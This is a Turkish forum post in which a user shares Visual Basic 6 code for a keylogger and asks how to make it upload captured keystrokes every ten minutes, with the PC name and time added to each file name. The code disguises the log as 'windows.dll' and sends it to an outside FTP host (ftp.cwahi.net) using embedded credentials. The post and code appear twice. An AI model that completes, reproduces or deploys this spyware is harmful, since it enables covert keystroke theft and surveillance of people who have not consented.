gowand
Çırak
slm benim yaptıgım keylogger de ftp ye bir defa upload ediyor ben 10dk da bir ve çalıştığı pcnin saatini windows.dll+saat+pcadı olarak kaydedtmesini istiyorum yani dosyanın normal adi windows.dll ama her on dakikada bir
pc adı11:00windows.dll
pcadı11:10windows.dll
pcad11:20windows.dll
boyle kaydetmesini istiyorum nasıl yapabilirim bunu şimdiden teşekkurler
Private Sub Command3_Click()
Form2.Show
End Sub
Private Sub Form_Load()
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemoteHost = "ftp.cwahi.net"
Inet1.RemotePort = "21"
Inet1.Password = "sıfre"
Inet1.UserName = "k.adi"
Inet1.RequestTimeout = "60"
Timer3.Interval = 60000 ' 1 dk
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "e:\windows.dll"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
Private Sub Timer3_Timer()
If Label1.Caption = 60 Then
'24 X 60 = 1440
'24 saat olmuştur kodu yazabiliriz
Else:
Label1.Caption = Label1.Caption + 1
' Her bir dakikada 1 arttıracak taa ki 24 saat oluncaya kadar
End If
End Sub
Private Sub Timer4_Timer()
If Label1.Caption = 3 Then
Form1.Inet1.Execute , "put e:\windows.dll windows.dll"
End If
End Sub
pc adı11:00windows.dll
pcadı11:10windows.dll
pcad11:20windows.dll
boyle kaydetmesini istiyorum nasıl yapabilirim bunu şimdiden teşekkurler
Private Sub Command3_Click()
Form2.Show
End Sub
Private Sub Form_Load()
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemoteHost = "ftp.cwahi.net"
Inet1.RemotePort = "21"
Inet1.Password = "sıfre"
Inet1.UserName = "k.adi"
Inet1.RequestTimeout = "60"
Timer3.Interval = 60000 ' 1 dk
Private Sub Timer2_Timer()
On Error Resume Next
Text2.Text = "e:\windows.dll"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub
Private Sub Timer3_Timer()
If Label1.Caption = 60 Then
'24 X 60 = 1440
'24 saat olmuştur kodu yazabiliriz
Else:
Label1.Caption = Label1.Caption + 1
' Her bir dakikada 1 arttıracak taa ki 24 saat oluncaya kadar
End If
End Sub
Private Sub Timer4_Timer()
If Label1.Caption = 3 Then
Form1.Inet1.Execute , "put e:\windows.dll windows.dll"
End If
End Sub